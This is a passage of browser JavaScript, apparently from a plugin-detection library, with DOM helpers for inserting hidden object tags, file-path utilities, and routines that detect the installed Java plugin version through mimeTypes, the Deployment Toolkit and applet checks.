  949.         obj: function (b) {
  950.             var d = this,
  951.                 c = d.span,
  952.                 a = c && c.firstChild ? c.firstChild : null;
  953.             return a
  954.         },
  955.         readyState: function () {
  956.             var b = this,
  957.                 a = b.DOM.$;
  958.             return a.browser.isIE && a.isDefined(a.getPROP(b.span, "readyState")) ? a.getPROP(b.obj(), "readyState") : b.undefined
  959.         },
  960.         objectProperty: function () {
  961.             var d = this,
  962.                 b = d.DOM,
  963.                 c = b.$,
  964.                 a;
  965.             if (b.isEnabled.objectProperty()) {
  966.                 a = c.getPROP(d.obj(), "object")
  967.             }
  968.             return a
  969.         },
  970.         getTagStatus: function (b, m, r, p, f, h) {
  971.             var s = this,
  972.                 d = s.$,
  973.                 q;
  974.             if (!b || !b.span) {
  975.                 return -2
  976.             }
  977.             var k = b.width(),
  978.                 c = b.readyState(),
  979.                 a = b.objectProperty();
  980.             if (a) {
  981.                 return 1.5
  982.             }
  983.             var g = /clsid\s*\:/i,
  984.                 o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  985.                 i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  986.                 l = b && g.test(b.outerHTML || "") ? o : i;
  987.             if (!m || !m.span || !l || !l.span) {
  988.                 return 0
  989.             }
  990.             var j = l.width(),
  991.                 n = m.width(),
  992.                 t = l.readyState();
  993.             if (k < 0 || j < 0 || n <= s.pluginSize) {
  994.                 return 0
  995.             }
  996.             if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  997.                 b.pi = 1
  998.             }
  999.             if (j < n) {
  1000.                 return b.pi ? -0.1 : 0
  1001.             }
  1002.             if (k >= n) {
  1003.                 if (!b.winLoaded && d.win.loaded) {
  1004.                     return b.pi ? -0.5 : -1
  1005.                 }
  1006.                 if (d.isNum(f)) {
  1007.                     if (!d.isNum(b.count2)) {
  1008.                         b.count2 = f
  1009.                     }
  1010.                     if (f - b.count2 > 0) {
  1011.                         return b.pi ? -0.5 : -1
  1012.                     }
  1013.                 }
  1014.             }
  1015.             try {
  1016.                 if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  1017.                     if (!b.winLoaded && d.win.loaded) {
  1018.                         return 1
  1019.                     }
  1020.                     if (b.winLoaded && d.isNum(f)) {
  1021.                         if (!d.isNum(b.count)) {
  1022.                             b.count = f
  1023.                         }
  1024.                         if (f - b.count >= 5) {
  1025.                             return 1
  1026.                         }
  1027.                     }
  1028.                 }
  1029.             } catch (q) {}
  1030.             return b.pi ? -0.1 : 0
  1031.         },
  1032.         setStyle: function (b, h) {
  1033.             var c = this,
  1034.                 d = c.$,
  1035.                 g = b.style,
  1036.                 a, f;
  1037.             if (g && h) {
  1038.                 for (a = 0; a < h.length; a = a + 2) {
  1039.                     try {
  1040.                         g[h[a]] = h[a + 1]
  1041.                     } catch (f) {}
  1042.                 }
  1043.             }
  1044.         },
  1045.         getStyle: {
  1046.             $: 1,
  1047.             span: function () {
  1048.                 var a = this.$.DOM;
  1049.                 return [].concat(this.Default).concat(["display", "inline", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px"])
  1050.             },
  1051.             div: function () {
  1052.                 var a = this.$.DOM;
  1053.                 return [].concat(this.Default).concat(["display", "block", "width", a.divWidth + "px", "height", (a.pluginSize + 3) + "px", "fontSize", (a.pluginSize + 3) + "px", "lineHeight", (a.pluginSize + 3) + "px", "position", "absolute", "right", "9999px", "top", "-9999px"])
  1054.             },
  1055.             plugin: function (b) {
  1056.                 var a = this.$.DOM;
  1057.                 return "background-color:transparent;background-image:none;vertical-align:baseline;outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (b ? "hidden;" : "visible;") + "display:inline;font-size:" + (a.pluginSize + 3) + "px;line-height:" + (a.pluginSize + 3) + "px;"
  1058.             },
  1059.             Default: ["backgroundColor", "transparent", "backgroundImage", "none", "verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"]
  1060.         },
  1061.         insertDivInBody: function (a, h) {
  1062.             var j = this,
  1063.                 d = j.$,
  1064.                 g, b = "pd33993399",
  1065.                 c = null,
  1066.                 i = h ? window.top.document : window.document,
  1067.                 f = i.getElementsByTagName("body")[0] || i.body;
  1068.             if (!f) {
  1069.                 try {
  1070.                     i.write('<div id="' + b + '">.' + d.openTag + "/div>");
  1071.                     c = i.getElementById(b)
  1072.                 } catch (g) {}
  1073.             }
  1074.             f = i.getElementsByTagName("body")[0] || i.body;
  1075.             if (f) {
  1076.                 f.insertBefore(a, f.firstChild);
  1077.                 if (c) {
  1078.                     f.removeChild(c)
  1079.                 }
  1080.             }
  1081.         },
  1082.         insert: function (b, i, g, h, c, p, n) {
  1083.             var r = this,
  1084.                 f = r.$,
  1085.                 q, s = document,
  1086.                 u, l, o = s.createElement("span"),
  1087.                 j, a;
  1088.             if (!f.isDefined(h)) {
  1089.                 h = ""
  1090.             }
  1091.             if (f.isString(b) && (/[^\s]/).test(b)) {
  1092.                 b = b.toLowerCase().replace(/\s/g, "");
  1093.                 u = f.openTag + b + " ";
  1094.                 u += 'style="' + r.getStyle.plugin(p) + '" ';
  1095.                 var k = 1,
  1096.                     t = 1;
  1097.                 for (j = 0; j < i.length; j = j + 2) {
  1098.                     if (/[^\s]/.test(i[j + 1])) {
  1099.                         u += i[j] + '="' + i[j + 1] + '" '
  1100.                     }
  1101.                     if ((/width/i).test(i[j])) {
  1102.                         k = 0
  1103.                     }
  1104.                     if ((/height/i).test(i[j])) {
  1105.                         t = 0
  1106.                     }
  1107.                 }
  1108.                 u += (k ? 'width="' + r.pluginSize + '" ' : "") + (t ? 'height="' + r.pluginSize + '" ' : "");
  1109.                 u += ">";
  1110.                 for (j = 0; j < g.length; j = j + 2) {
  1111.                     if (/[^\s]/.test(g[j + 1])) {
  1112.                         u += f.openTag + 'param name="' + g[j] + '" value="' + g[j + 1] + '" />'
  1113.                     }
  1114.                 }
  1115.                 u += h + f.openTag + "/" + b + ">"
  1116.             } else {
  1117.                 b = "";
  1118.                 u = h
  1119.             } if (!n) {
  1120.                 r.initDiv()
  1121.             }
  1122.             var m = n || r.getDiv();
  1123.             l = {
  1124.                 span: null,
  1125.                 winLoaded: f.win.loaded,
  1126.                 tagName: b,
  1127.                 outerHTML: u,
  1128.                 DOM: r,
  1129.                 time: new Date().getTime(),
  1130.                 width: r.width,
  1131.                 obj: r.obj,
  1132.                 readyState: r.readyState,
  1133.                 objectProperty: r.objectProperty
  1134.             };
  1135.             if (m && m.parentNode) {
  1136.                 r.setStyle(o, r.getStyle.span());
  1137.                 m.appendChild(o);
  1138.                 try {
  1139.                     o.innerHTML = u
  1140.                 } catch (q) {};
  1141.                 l.span = o;
  1142.                 l.winLoaded = f.win.loaded
  1143.             }
  1144.             return l
  1145.         }
  1146.     },
  1147.     file: {
  1148.         $: 1,
  1149.         any: "fileStorageAny999",
  1150.         valid: "fileStorageValid999",
  1151.         save: function (d, f, c) {
  1152.             var b = this,
  1153.                 e = b.$,
  1154.                 a;
  1155.             if (d && e.isDefined(c)) {
  1156.                 if (!d[b.any]) {
  1157.                     d[b.any] = []
  1158.                 }
  1159.                 if (!d[b.valid]) {
  1160.                     d[b.valid] = []
  1161.                 }
  1162.                 d[b.any].push(c);
  1163.                 a = b.split(f, c);
  1164.                 if (a) {
  1165.                     d[b.valid].push(a)
  1166.                 }
  1167.             }
  1168.         },
  1169.         getValidLength: function (a) {
  1170.             return a && a[this.valid] ? a[this.valid].length : 0
  1171.         },
  1172.         getAnyLength: function (a) {
  1173.             return a && a[this.any] ? a[this.any].length : 0
  1174.         },
  1175.         getValid: function (c, a) {
  1176.             var b = this;
  1177.             return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1178.         },
  1179.         getAny: function (c, a) {
  1180.             var b = this;
  1181.             return c && c[b.any] ? b.get(c[b.any], a) : null
  1182.         },
  1183.         get: function (d, a) {
  1184.             var c = d.length - 1,
  1185.                 b = this.$.isNum(a) ? a : c;
  1186.             return (b < 0 || b > c) ? null : d[b]
  1187.         },
  1188.         split: function (g, c) {
  1189.             var b = this,
  1190.                 e = b.$,
  1191.                 f = null,
  1192.                 a, d;
  1193.             g = g ? g.replace(".", "\.") : "";
  1194.             d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  1195.             if (e.isString(c) && d.test(c)) {
  1196.                 a = (RegExp.$1).split("/");
  1197.                 f = {
  1198.                     name: a[a.length - 1],
  1199.                     ext: RegExp.$2,
  1200.                     full: c
  1201.                 };
  1202.                 a[a.length - 1] = "";
  1203.                 f.path = a.join("/")
  1204.             }
  1205.             return f
  1206.         },
  1207.         z: 0
  1208.     },
  1209.     Plugins: {
  1210.         java: {
  1211.             $: 1,
  1212.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1213.             mimeType_dummy: "application/dummymimejavaapplet",
  1214.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1215.             classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1216.             navigator: {
  1217.                 $: 1,
  1218.                 init: function () {
  1219.                     var d = this,
  1220.                         b = d.$,
  1221.                         a = d.$$,
  1222.                         c;
  1223.                     try {
  1224.                         d.a = window.navigator.javaEnabled()
  1225.                     } catch (c) {};
  1226.                     d.mimeObj = b.hasMimeType(a.mimeType);
  1227.                     if (d.mimeObj) {
  1228.                         d.pluginObj = d.mimeObj.enabledPlugin
  1229.                     }
  1230.                 },
  1231.                 a: !0,
  1232.                 javaEnabled: function () {
  1233.                     return this.a
  1234.                 },
  1235.                 mimeObj: 0,
  1236.                 pluginObj: 0
  1237.             },
  1238.             OTF: null,
  1239.             getVerifyTagsDefault: function () {
  1240.                 return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1241.             },
  1242.             getVersion: function (j, g, i) {
  1243.                 var b = this,
  1244.                     d = b.$,
  1245.                     e, a = b.applet,
  1246.                     h = b.verify,
  1247.                     k = b.navigator,
  1248.                     f = null,
  1249.                     l = null,
  1250.                     c = null;
  1251.                 if (b.getVersionDone === null) {
  1252.                     b.OTF = 0;
  1253.                     k.init();
  1254.                     if (h) {
  1255.                         h.init()
  1256.                     }
  1257.                 }
  1258.                 a.setVerifyTagsArray(i);
  1259.                 d.file.save(b, ".jar", g);
  1260.                 if (b.getVersionDone === 0) {
  1261.                     if (a.should_Insert_Query_Any()) {
  1262.                         e = a.insert_Query_Any(j);
  1263.                         b.setPluginStatus(e[0], e[1], f, j)
  1264.                     }
  1265.                     return
  1266.                 }
  1267.                 if ((!f || d.dbug) && b.navMime.query().version) {
  1268.                     f = b.navMime.version
  1269.                 }
  1270.                 if ((!f || d.dbug) && b.navPlugin.query().version) {
  1271.                     f = b.navPlugin.version
  1272.                 }
  1273.                 if ((!f || d.dbug) && b.DTK.query().version) {
  1274.                     f = b.DTK.version
  1275.                 }
  1276.                 if (b.nonAppletDetectionOk(f)) {
  1277.                     c = f
  1278.                 }
  1279.                 b.setPluginStatus(c, l, f, j);
  1280.                 if (a.should_Insert_Query_Any()) {
  1281.                     e = a.insert_Query_Any(j);
  1282.                     if (e[0]) {
  1283.                         c = e[0];
  1284.                         l = e[1]
  1285.                     }
  1286.                 }
  1287.                 b.setPluginStatus(c, l, f, j)
  1288.             },
  1289.             nonAppletDetectionOk: function (b) {
  1290.                 var d = this,
  1291.                     e = d.$,
  1292.                     a = d.navigator,
  1293.                     c = 1;
  1294.                 if (!b || !a.javaEnabled() || (!e.browser.isIE && !a.mimeObj) || (e.browser.isIE && !e.browser.ActiveXEnabled)) {
  1295.                     c = 0
  1296.                 } else {
  1297.                     if (e.OS >= 20) {} else {
  1298.                         if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1299.                             c = 0
  1300.                         }
  1301.                     }
  1302.                 }
  1303.                 return c
  1304.             },
  1305.             setPluginStatus: function (d, i, g, h) {
  1306.                 var b = this,
  1307.                     e = b.$,
  1308.                     f, c = 0,
  1309.                     a = b.applet;
  1310.                 g = g || b.version0;
  1311.                 f = a.isRange(d);
  1312.                 if (f) {
  1313.                     if (a.setRange(f, h) == d) {
  1314.                         c = f
  1315.                     }
  1316.                     d = 0
  1317.                 }
  1318.                 if (b.OTF < 3) {
  1319.                     b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  1320.                 }
  1321.                 if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  1322.                     b.installed = g ? -0.2 : -1
  1323.                 }
  1324.                 if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  1325.                     b.installed = (b.NOTF.isJavaActive(1) >= 1 ? 0.5 : -0.5)
  1326.                 }
  1327.                 if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  1328.                     if (d) {
  1329.                         b.installed = 1
  1330.                     } else {
  1331.                         if (c) {
  1332.                             b.installed = c > 0 ? 0.7 : -0.1
  1333.                         } else {
  1334.                             if (b.NOTF.isJavaActive(1) >= 1) {
  1335.                                 if (g) {
  1336.                                     b.installed = 1;
  1337.                                     d = g
  1338.                                 } else {
  1339.                                     b.installed = 0
  1340.                                 }
  1341.                             } else {
  1342.                                 if (g) {
  1343.                                     b.installed = -0.2
  1344.                                 } else {
  1345.                                     b.installed = -1
  1346.                                 }
  1347.                             }
  1348.                         }
  1349.                     }
  1350.                 }
  1351.                 if (g) {
  1352.                     b.version0 = e.formatNum(e.getNum(g))
  1353.                 }
  1354.                 if (d && !c) {
  1355.                     b.version = e.formatNum(e.getNum(d))
  1356.                 }
  1357.                 if (i && e.isString(i)) {
  1358.                     b.vendor = i
  1359.                 }
  1360.                 if (!b.vendor) {
  1361.                     b.vendor = ""
  1362.                 }
  1363.                 if (b.verify && b.verify.isEnabled()) {
  1364.                     b.getVersionDone = 0
  1365.                 } else {
  1366.                     if (b.getVersionDone != 1) {
  1367.                         if (b.OTF < 2) {
  1368.                             b.getVersionDone = 0
  1369.                         } else {
  1370.                             b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  1371.                         }
  1372.                     }
  1373.                 };
  1374.                 e.codebase.emptyGarbage()
  1375.             },
  1376.             DTK: {
  1377.                 $: 1,
  1378.                 hasRun: 0,
  1379.                 status: null,
  1380.                 VERSIONS: [],
  1381.                 version: "",
  1382.                 HTML: null,
  1383.                 Plugin2Status: null,
  1384.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  1385.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  1386.                 isDisabled: function (a) {
  1387.                     var c = this,
  1388.                         d = c.$,
  1389.                         b = d.browser;
  1390.                     if (c.HTML) {
  1391.                         return 1
  1392.                     }
  1393.                     if (a || d.dbug) {
  1394.                         return 0
  1395.                     }
  1396.                     if (c.hasRun || !d.DOM.isEnabled.objectTagUsingActiveX()) {
  1397.                         return 1
  1398.                     }
  1399.                     return 0
  1400.                 },
  1401.                 query: function (n) {
  1402.                     var l = this,
  1403.                         h = l.$,
  1404.                         f = l.$$,
  1405.                         k, m, i, a = h.DOM.altHTML,
  1406.                         g = {}, b, d = null,
  1407.                         j = null,
  1408.                         c = l.isDisabled(n);
  1409.                     l.hasRun = 1;
  1410.                     if (c) {
  1411.                         return l
  1412.                     }
  1413.                     l.status = 0;
  1414.                     if (h.DOM.isEnabled.objectTagUsingActiveX()) {
  1415.                         for (m = 0; m < l.classID.length; m++) {
  1416.                             l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  1417.                             d = l.HTML.obj();
  1418.                             if (h.getPROP(d, "jvms")) {
  1419.                                 break
  1420.                             }
  1421.                         }
  1422.                     } else {
  1423.                         i = h.hasMimeType(l.mimeType);
  1424.                         if (i && i.type) {
  1425.                             l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  1426.                             d = l.HTML.obj()
  1427.                         }
  1428.                     } if (d) {
  1429.                         try {
  1430.                             b = h.getPROP(d, "jvms");
  1431.                             if (b) {
  1432.                                 j = b.getLength();
  1433.                                 if (h.isNum(j)) {
  1434.                                     l.status = j > 0 ? 1 : -1;
  1435.                                     for (m = 0; m < j; m++) {
  1436.                                         i = h.getNum(b.get(j - 1 - m).version);
  1437.                                         if (i) {
  1438.                                             l.VERSIONS.push(i);
  1439.                                             g["a" + h.formatNum(i)] = 1
  1440.                                         }
  1441.                                     }
  1442.                                 }
  1443.                             }
  1444.                         } catch (k) {}
  1445.                         if (l.VERSIONS.length) {
  1446.                             l.version = h.formatNum(l.VERSIONS[0])
  1447.                         }
  1448.                     };
  1449.                     return l
  1450.                 }
  1451.             },
  1452.             navMime: {
  1453.                 $: 1,
  1454.                 hasRun: 0,
  1455.                 mimetype: "",
  1456.                 version: "",
  1457.                 mimeObj: 0,
  1458.                 pluginObj: 0,
  1459.                 regexJPI: /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1460.                 isDisabled: function () {
  1461.                     var a = this,
  1462.                         c = a.$,
  1463.                         b = a.$$;
  1464.                     if (a.hasRun || !b.navigator.mimeObj) {
  1465.                         return 1
  1466.                     }
  1467.                     return 0
  1468.                 },
  1469.                 update: function (e) {
  1470.                     var a = this,
  1471.                         c = a.$,
  1472.                         d = e ? e.enabledPlugin : 0,
  1473.                         b = e && a.regexJPI.test(e.type || "") ? c.formatNum(c.getNum(RegExp.$1)) : 0;
  1474.                     if (b && d && (d.description || d.name)) {
  1475.                         if (c.compareNums(b, a.version || c.formatNum("0")) > 0) {
  1476.                             a.version = b;
  1477.                             a.mimeObj = e;
  1478.                             a.pluginObj = d;
  1479.                             a.mimetype = e.type
  1480.                         }
  1481.                     }
  1482.                 },
  1483.                 query: function () {
  1484.                     var g = this,
  1485.                         f = g.$,
  1486.                         d = g.$$,
  1487.                         j, i, h, m, l, k, c, b = navigator.mimeTypes,
  1488.                         a = g.isDisabled();
  1489.                     g.hasRun = 1;
  1490.                     if (a) {
  1491.                         return g
  1492.                     };
  1493.                     c = b.length;
  1494.                     if (f.isNum(c)) {
  1495.                         for (j = 0; j < c; j++) {
  1496.                             m = 0;
  1497.                             try {
  1498.                                 m = b[j]
  1499.                             } catch (h) {}
  1500.                             g.update(m)
  1501.                         }
  1502.                     }
  1503.                     if (!g.version || f.dbug) {
  1504.                         k = f.isArray(d.mimeType) ? d.mimeType : [d.mimeType];
  1505.                         for (j = 0; j < k.length; j++) {
  1506.                             m = 0;
  1507.                             try {
  1508.                                 m = b[k[j]]
  1509.                             } catch (h) {}
  1510.                             l = m ? m.enabledPlugin : 0;
  1511.                             c = l ? l.length : null;
  1512.                             if (f.isNum(c)) {
  1513.                                 for (i = 0; i < c; i++) {
  1514.                                     m = 0;
  1515.                                     try {
  1516.                                         m = l[i]
  1517.                                     } catch (h) {}
  1518.                                     g.update(m)
  1519.                                 }
  1520.                             }
  1521.                         }
  1522.                     };
  1523.                     return g
  1524.                 }
  1525.             },
  1526.             navPlugin: {
  1527.                 $: 1,
  1528.                 hasRun: 0,
  1529.                 version: "",
  1530.                 getPlatformNum: function () {
  1531.                     var e = this,
  1532.                         d = e.$,
  1533.                         b = e.$$,
  1534.                         a = 0,
  1535.                         c = /Java.*TM.*Platform[^\d]*(\d+)[\.,_]?(\d*)\s*U?(?:pdate)?\s*(\d*)/i,
  1536.                         f = d.findNavPlugin({
  1537.                             find: c,
  1538.                             mimes: b.mimeType,
  1539.                             plugins: 1
  1540.                         });
  1541.                     if (f && (c.test(f.name || "") || c.test(f.description || "")) && parseInt(RegExp.$1, 10) >= 5) {
  1542.                         a = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1543.                     }
  1544.                     return a
  1545.                 },
  1546.                 getPluginNum: function () {
  1547.                     var i = this,
  1548.                         c = i.$,
  1549.                         b = i.$$,
  1550.                         j = 0,
  1551.                         d, h, g, e, f, a = 0;
  1552.                     e = /Java[^\d]*Plug-in/i;
  1553.                     f = c.findNavPlugin({
  1554.                         find: e,
  1555.                         num: 1,
  1556.                         mimes: b.mimeType,
  1557.                         plugins: 1,
  1558.                         dbug: a
  1559.                     });
  1560.                     if (f) {
  1561.                         h = i.checkPluginNum(f.description, e);
  1562.                         g = i.checkPluginNum(f.name, e);
  1563.                         j = h && g ? (c.compareNums(h, g) > 0 ? h : g) : (h || g)
  1564.                     }
  1565.                     if (!j) {
  1566.                         e = /Java.*\d.*Plug-in/i;
  1567.                         f = c.findNavPlugin({
  1568.                             find: e,
  1569.                             mimes: b.mimeType,
  1570.                             plugins: 1,
  1571.                             dbug: a
  1572.                         });
  1573.                         if (f) {
  1574.                             h = i.checkPluginNum(f.description, e);
  1575.                             g = i.checkPluginNum(f.name, e);
  1576.                             j = h && g ? (c.compareNums(h, g) > 0 ? h : g) : (h || g)
  1577.                         }
  1578.                     };
  1579.                     return j
  1580.                 },
  1581.                 checkPluginNum: function (f, c) {
  1582.                     var e = this,
  1583.                         d = e.$,
  1584.                         a, b;
  1585.                     a = c.test(f) ? d.formatNum(d.getNum(f)) : 0;
  1586.                     if (a && d.compareNums(a, d.formatNum("10")) >= 0) {
  1587.                         b = a.split(d.splitNumRegx);
  1588.                         a = d.formatNum("1," + (parseInt(b[0], 10) - 3) + ",0," + b[1])
  1589.                     }
  1590.                     if (a && (d.compareNums(a, d.formatNum("1,3")) < 0 || d.compareNums(a, d.formatNum("2")) >= 0)) {
  1591.                         a = 0
  1592.                     }
  1593.                     return a
  1594.                 },
  1595.                 query: function () {
  1596.                     var f = this,
  1597.                         e = f.$,
  1598.                         d = f.$$,
  1599.                         c, a = 0,
  1600.                         b = f.hasRun || !d.navigator.mimeObj;
  1601.                     f.hasRun = 1;
  1602.                     if (b) {
  1603.                         return f
  1604.                     };
  1605.                     if (!a || e.dbug) {
  1606.                         c = f.getPlatformNum();
  1607.                         if (c) {
  1608.                             a = c
  1609.                         }
  1610.                     }
  1611.                     if (!a || e.dbug) {
  1612.                         c = f.getPluginNum();
  1613.                         if (c) {
  1614.                             a = c
  1615.                         }
  1616.                     }
  1617.                     if (a) {
  1618.                         f.version = e.formatNum(a)
  1619.                     };
  1620.                     return f
  1621.                 }
  1622.             },
  1623.             applet: {
  1624.                 $: 1,
  1625.                 codebase: {
  1626.                     $: 1,
  1627.                     isMin: function (a) {
  1628.                         return this.$.codebase.isMin(this, a)
  1629.                     },
  1630.                     search: function () {
  1631.                         return this.$.codebase.search(this)
  1632.                     },
  1633.                     DIGITMAX: [
  1634.                         [16, 64],
  1635.                         [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  1636.                         [1, 4, 0, 64],
  1637.                         [1, 3, 2, 32]
  1638.                     ],
  1639.                     DIGITMIN: [1, 0, 0, 0],
  1640.                     Upper: ["999", "10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"],
  1641.                     Lower: ["10", "5,0,20", "1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"],
  1642.                     convert: [
  1643.                         function (b, a) {
  1644.                             return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3], "0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
  1645.                         },
  1646.                         function (b, a) {
  1647.                             return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0, b[2].length - 1 || 1)]
  1648.                         },
  1649.                         0,
  1650.                         function (b, a) {
  1651.                             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1652.                         },
  1653.                         0, 1,
  1654.                         function (b, a) {
  1655.                             return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(0, b[3].length - 1 || 1)]
  1656.                         },
  1657.                         1
  1658.                     ]
  1659.                 },
  1660.                 results: [
  1661.                     [null, null],
  1662.                     [null, null],
  1663.                     [null, null],
  1664.                     [null, null]
  1665.                 ],
  1666.                 getResult: function () {
  1667.                     var b = this,
  1668.                         d = b.results,
  1669.                         a, c = [];
  1670.                     for (a = d.length - 1; a >= 0; a--) {
  1671.                         c = d[a];
  1672.                         if (c[0]) {
  1673.                             break
  1674.                         }
  1675.                     }
  1676.                     c = [].concat(c);
  1677.                     return c
  1678.                 },
  1679.                 DummySpanTagHTML: 0,
  1680.                 HTML: [0, 0, 0, 0],
  1681.                 active: [0, 0, 0, 0],
  1682.                 DummyObjTagHTML: 0,
  1683.                 DummyObjTagHTML2: 0,
  1684.                 allowed: [1, 1, 1, 1],
  1685.                 VerifyTagsHas: function (c) {
  1686.                     var d = this,
  1687.                         b;
  1688.                     for (b = 0; b < d.allowed.length; b++) {
  1689.                         if (d.allowed[b] === c) {
  1690.                             return 1
  1691.                         }
  1692.                     }
  1693.                     return 0
  1694.                 },
  1695.                 saveAsVerifyTagsArray: function (c) {
  1696.                     var b = this,
  1697.                         d = b.$,
  1698.                         a;
  1699.                     if (d.isArray(c)) {
  1700.                         for (a = 1; a < b.allowed.length; a++) {
  1701.                             if (c.length > a - 1 && d.isNum(c[a - 1])) {
  1702.                                 if (c[a - 1] < 0) {
  1703.                                     c[a - 1] = 0
  1704.                                 }
  1705.                                 if (c[a - 1] > 3) {
  1706.                                     c[a - 1] = 3
  1707.                                 }
  1708.                                 b.allowed[a] = c[a - 1]
  1709.                             }
  1710.                         }
  1711.                         b.allowed[0] = b.allowed[3]
  1712.                     }
  1713.                 },
  1714.                 setVerifyTagsArray: function (d) {
  1715.                     var b = this,
  1716.                         c = b.$,
  1717.                         a = b.$$;
  1718.                     if (a.getVersionDone === null) {
  1719.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1720.                     }
  1721.                     if (c.dbug) {
  1722.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1723.                     } else {
  1724.                         if (d) {
  1725.                             b.saveAsVerifyTagsArray(d)
  1726.                         }
  1727.                     }
  1728.                 },
  1729.                 isDisabled: {
  1730.                     $: 1,
  1731.                     single: function (d) {
  1732.                         var a = this,
  1733.                             c = a.$,
  1734.                             b = a.$$;
  1735.                         if (a.all()) {
  1736.                             return 1
  1737.                         }
  1738.                         if (d == 0) {
  1739.                             return c.codebase.isDisabled()
  1740.                         }
  1741.                         if (d == 1) {
  1742.                             return !c.DOM.isEnabled.objectTag()
  1743.                         }
  1744.                         if (d == 2) {
  1745.                             return a.AppletTag()
  1746.                         }
  1747.                         if (d == 3) {
  1748.                             return !c.DOM.isEnabled.objectTagUsingActiveX()
  1749.                         }
  1750.                     },
  1751.                     aA_: null,
  1752.                     all: function () {
  1753.                         var c = this,
  1754.                             f = c.$,
  1755.                             e = c.$$,
  1756.                             b = e.navigator,
  1757.                             a = 0,
  1758.                             d = f.browser;
  1759.                         if (c.aA_ === null) {
  1760.                             if (f.OS >= 20) {
  1761.                                 a = 0
  1762.                             } else {
  1763.                                 if (d.verOpera && d.verOpera < 11 && !b.javaEnabled()) {
  1764.                                     a = 1
  1765.                                 } else {
  1766.                                     if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
  1767.                                         a = 1
  1768.                                     } else {
  1769.                                         if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
  1770.                                             a = 1
  1771.                                         }
  1772.                                     }
  1773.                                 }
  1774.                             };
  1775.                             c.aA_ = a
  1776.                         }
  1777.                         return c.aA_
  1778.                     },
  1779.                     AppletTag: function () {
  1780.                         var b = this,
  1781.                             d = b.$,
  1782.                             c = b.$$,
  1783.                             a = c.navigator;
  1784.                         return d.browser.isIE ? !a.javaEnabled() : 0
  1785.                     },
  1786.                     VerifyTagsDefault_1: function () {
  1787.                         var b = this.$,
  1788.                             a = b.browser;
  1789.                         if (b.OS >= 20) {
  1790.                             return 1
  1791.                         }
  1792.                         if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  1793.                             return 0
  1794.                         }
  1795.                         return 1
  1796.                     },
  1797.                     z: 0
  1798.                 },
  1799.                 can_Insert_Query: function (d) {
  1800.                     var b = this,
  1801.                         c = b.results[0][0],
  1802.                         a = b.getResult()[0];
  1803.                     if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  1804.                         return 0
  1805.                     }
  1806.                     return !b.isDisabled.single(d)
  1807.                 },
  1808.                 can_Insert_Query_Any: function () {
  1809.                     var b = this,
  1810.                         a;
  1811.                     for (a = 0; a < b.results.length; a++) {
  1812.                         if (b.can_Insert_Query(a)) {
  1813.                             return 1
  1814.                         }
  1815.                     }
  1816.                     return 0
  1817.                 },
  1818.                 should_Insert_Query: function (e) {
  1819.                     var c = this,
  1820.                         f = c.allowed,
  1821.                         d = c.$,
  1822.                         b = c.$$,
  1823.                         a = c.getResult()[0];
  1824.                     a = a && (e > 0 || !c.isRange(a));
  1825.                     if (!c.can_Insert_Query(e) || f[e] === 0) {
  1826.                         return 0
  1827.                     }
  1828.                     if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  1829.                         return 1
  1830.                     }
  1831.                     if (!b.nonAppletDetectionOk(b.version0)) {
